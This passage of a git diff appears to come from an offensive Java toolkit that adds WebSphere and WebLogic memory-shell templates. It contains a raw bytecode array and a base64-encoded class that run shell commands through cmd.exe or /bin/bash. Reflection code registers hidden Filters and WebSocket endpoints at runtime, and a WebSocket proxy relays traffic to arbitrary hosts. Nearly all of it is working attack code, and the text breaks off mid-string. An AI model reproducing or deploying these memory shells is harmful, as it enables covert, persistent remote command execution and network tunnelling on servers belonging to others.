bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); + WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + if (null == container.findMapping(urlPath)) { + try { + container.addEndpoint(configEndpoint); + } catch (DeploymentException e) { + e.printStackTrace(); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java new file mode 100644 index 0000000..dbce219 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSFMSFromThread.java @@ -0,0 +1,127 @@ +package com.qi4l.JYso.template.memshellStatic.Websphere; + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + +/** + * WebSocket 内存马 + * + * @author QI4L + */ +public class WSFMSFromThread implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int j = 0; j < obj_arr.length; j++) { + Object o = obj_arr[j]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); + + field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + Object context = field.get(servletContext); + + field = context.getClass().getSuperclass().getDeclaredField("config"); + field.setAccessible(true); + Object webAppConfiguration = field.get(context); + + Method method = null; + Method[] methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getFilterMappings")) { + method = methods[i]; + break; + } + } + List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); + + boolean flag = false; + for (int i = 0; i < filerMappings.size(); i++) { + Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + if (name.equals(NAME)) { + flag = true; + break; + } + } + + //如果已存在同名的 Filter,就不在添加,防止重复添加 + if (!flag) { + Filter filter = new WSFMSFromThread(); + + Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{NAME}); + filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("addFilterInfo")) { + method = methods[i]; + break; + } + } + method.invoke(webAppConfiguration, new Object[]{filterConfig}); + + field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); + field.setAccessible(true); + Object original = field.get(filterConfig); + + //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 + field.set(filterConfig, null); + + method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); + method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{pattern}}); + + //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 + field.set(filterConfig, original); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getUriFilterMappings")) { + method = methods[i]; + break; + } + } + + //这里的目的是为了将我们添加的动态 Filter 放到第一位 + List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]); + uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); + } + + break; + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java new file mode 100644 index 0000000..f135ccc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WSWebsphereProxy.java @@ -0,0 +1,155 @@ +package com.qi4l.JYso.template.memshellStatic.Websphere; + +import com.ibm.websphere.wsoc.WsWsocServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.servlet.ServletContext; +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerEndpointConfig; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class WSWebsphereProxy extends Endpoint { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WSWebsphereProxy.class, path).build(); + WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); + Field name = null; + try { + name = container.getClass().getDeclaredField("noMoreAdds"); + name.setAccessible(true); + name.setBoolean(container, false); + try { + if (servletContext.getAttribute(path) == null) { + container.addEndpoint(configEndpoint); + servletContext.setAttribute(path, path); + } + System.out.println("success, connect url path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception ignored) { + } + } + + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(102400); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } +} diff --git a/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java new file mode 100644 index 0000000..f3217fc --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/memshellStatic/Websphere/WebsphereMemshellTemplate.java @@ -0,0 +1,142 @@ +package com.qi4l.JYso.template.memshellStatic.Websphere; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import sun.misc.BASE64Decoder; + +import javax.servlet.DispatcherType; +import javax.servlet.Filter; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + +import static org.fusesource.jansi.Ansi.ansi; + +public class WebsphereMemshellTemplate extends AbstractTranslet { + + public WebsphereMemshellTemplate() { + try { + String filterName = "dynamicFilter"; + String urlPattern = "/*"; + + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int j = 0; j < obj_arr.length; j++) { + Object o = obj_arr[j]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); + + field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + Object context = field.get(servletContext); + + field = context.getClass().getSuperclass().getDeclaredField("config"); + field.setAccessible(true); + Object webAppConfiguration = field.get(context); + + Method method = null; + Method[] methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getFilterMappings")) { + method = methods[i]; + break; + } + } + List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); + + boolean flag = false; + for (int i = 0; i < filerMappings.size(); i++) { + Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + if (name.equals(filterName)) { + flag = true; + break; + } + } + + //如果已存在同名的 Filter,就不在添加,防止重复添加 + if (!flag) { + System.out.println(ansi().render("@|green [+] Add Dynamic Filter|@")); + + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + try { + clazz = cl.loadClass("com.qi4l.JYso.template.DynamicFilterTemplate"); + } catch (ClassNotFoundException e) { + BASE64Decoder base64Decoder = new BASE64Decoder(); + String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnp